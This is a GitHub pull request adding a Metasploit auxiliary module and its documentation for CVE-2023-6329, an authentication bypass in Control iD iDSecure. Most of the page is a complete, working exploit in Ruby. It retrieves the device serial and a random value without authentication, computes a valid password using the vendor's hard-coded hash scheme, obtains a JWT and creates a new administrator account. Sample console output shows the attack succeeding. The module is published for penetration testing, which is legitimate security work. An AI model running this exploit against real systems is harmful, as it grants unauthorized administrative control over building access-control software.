Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Control iD iDSecure Authentication Bypass (CVE-2023-6329) Module #19380

Merged
merged 4 commits into from
Aug 26, 2024
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
59 changes: 59 additions & 0 deletions documentation/modules/auxiliary/admin/http/idsecure_auth_bypass.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
## Vulnerable Application

This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.

The advisory from Tenable is available [here](https://www.tenable.com/security/research/tra-2023-36), which lists the affected version
4.7.32.0. According to the Solution section, the vendor has not responded to the contact attempts from Tenable. While creating this MSF
module, the latest version available was 4.7.43.0, which was confirmed to be still vulnerable.

## Testing

The software can be obtained from the [vendor](https://www.controlid.com.br/suporte/idsecure).

Deploy it by following the vendor's [documentation](https://www.controlid.com.br/docs/idsecure-en/).

**Successfully tested on**

- Control iD iDSecure v4.7.43.0 on Windows 10 22H2
- Control iD iDSecure v4.7.32.0 on Windows 10 22H2

## Verification Steps

1. Deploy Control iD iDSecure v4.7.43.0
2. Start `msfconsole`
3. `use auxiliary/admin/http/idsecure_auth_bypass`
4. `set RHOSTS <IP>`
5. `run`
6. A new administrative user should have been added to the web interface of the product.

## Options

### NEW_USER
The name of the new administrative user.

### NEW_PASSWORD
The password of the new administrative user.

## Scenarios

Running the module against Control iD iDSecure v4.7.43.0 should result in an output
similar to the following:

```
msf6 > use auxiliary/admin/http/idsecure_auth_bypass
msf6 auxiliary(admin/http/idsecure_auth_bypass) > set RHOSTS 192.168.137.196
[*] Running module against 192.168.137.196

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Version retrieved: 4.7.43.0
[+] The target appears to be vulnerable.
[+] Retrieved passwordRandom: <redacted>
[+] Retrieved serial: <redacted>
[*] Created passwordCustom: <redacted>
[+] Retrieved JWT accessToken: <redacted>
[+] New user 'h4x0r:Sup3rS3cr3t!' was successfully added.
[+] Login at: https://192.168.137.196:30443/#/login
[*] Auxiliary module execution completed

```
156 changes: 156 additions & 0 deletions modules/auxiliary/admin/http/idsecure_auth_bypass.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,156 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
CheckCode = Exploit::CheckCode

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',
'Description' => %q{
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.
},
'Author' => [
'Michael Heinzl', # MSF Module
'Tenable' # Discovery and PoC
],
'References' => [
['CVE', '2023-6329'],
['URL', 'https://www.tenable.com/security/research/tra-2023-36']
],
'DisclosureDate' => '2023-11-27',
'DefaultOptions' => {
'RPORT' => 30443,
'SSL' => 'True'
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),
OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])
])
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/util/configUI')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
end

return CheckCode::Unknown unless res&.code == 401

data = res.get_json_document
version = data['Version']
return CheckCode::Unknown if version.nil?

print_status('Got version: ' + version)
return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')

return CheckCode::Appears
end

def run
# 1) Obtain the serial and passwordRandom
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
if res.code == 200
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
json = res.get_json_document
if json.key?('passwordRandom') && json.key?('serial')
password_random = json['passwordRandom']
serial = json['serial']
print_good('Retrieved passwordRandom: ' + password_random)
print_good('Retrieved serial: ' + serial)
else
fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')
end
else
fail_with(Failure::UnexpectedReply, res.to_s)
end

# 2) Create passwordCustom
sha1_hash = Digest::SHA1.hexdigest(serial)
combined_string = sha1_hash + password_random + 'cid2016'
sha256_hash = Digest::SHA256.hexdigest(combined_string)
short_hash = sha256_hash[0, 6]
password_custom = short_hash.to_i(16).to_s
print_status("Created passwordCustom: #{password_custom}")

# 3) Login with passwordCustom and passwordRandom to obtain a JWT
body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"

res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api/login/'),
'data' => body
})

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
if res.code == 200
json = res.get_json_document
if json.key?('accessToken')
access_token = json['accessToken']
print_good('Retrieved JWT: ' + access_token)
else
fail_with(Failure::UnexpectedReply, 'Did not receive JWT')
end
else
fail_with(Failure::UnexpectedReply, res.to_s)
end

# 4) Add a new administrative user
body = '{"idType": "1", ' \
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
"\"name\": \"#{datastore['NEW_USER']}\", " \
"\"user\": \"#{datastore['NEW_USER']}\", " \
"\"newPassword\": \"#{datastore['NEW_PASSWORD']}\", " \
"\"password_confirmation\": \"#{datastore['NEW_PASSWORD']}\"}"

res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'headers' => {
'Authorization' => "Bearer #{access_token}"
},
'uri' => normalize_uri(target_uri.path, 'api/operator/'),
'data' => body
})

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

if res.code == 200
json = res.get_json_document
if json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'
store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json)
print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")
print_good("Login at: https://#{datastore['RHOSTS']}:#{datastore['RPORT']}/#/login")
else
fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)
end
else
fail_with(Failure::UnexpectedReply, res.to_s)
end
end
end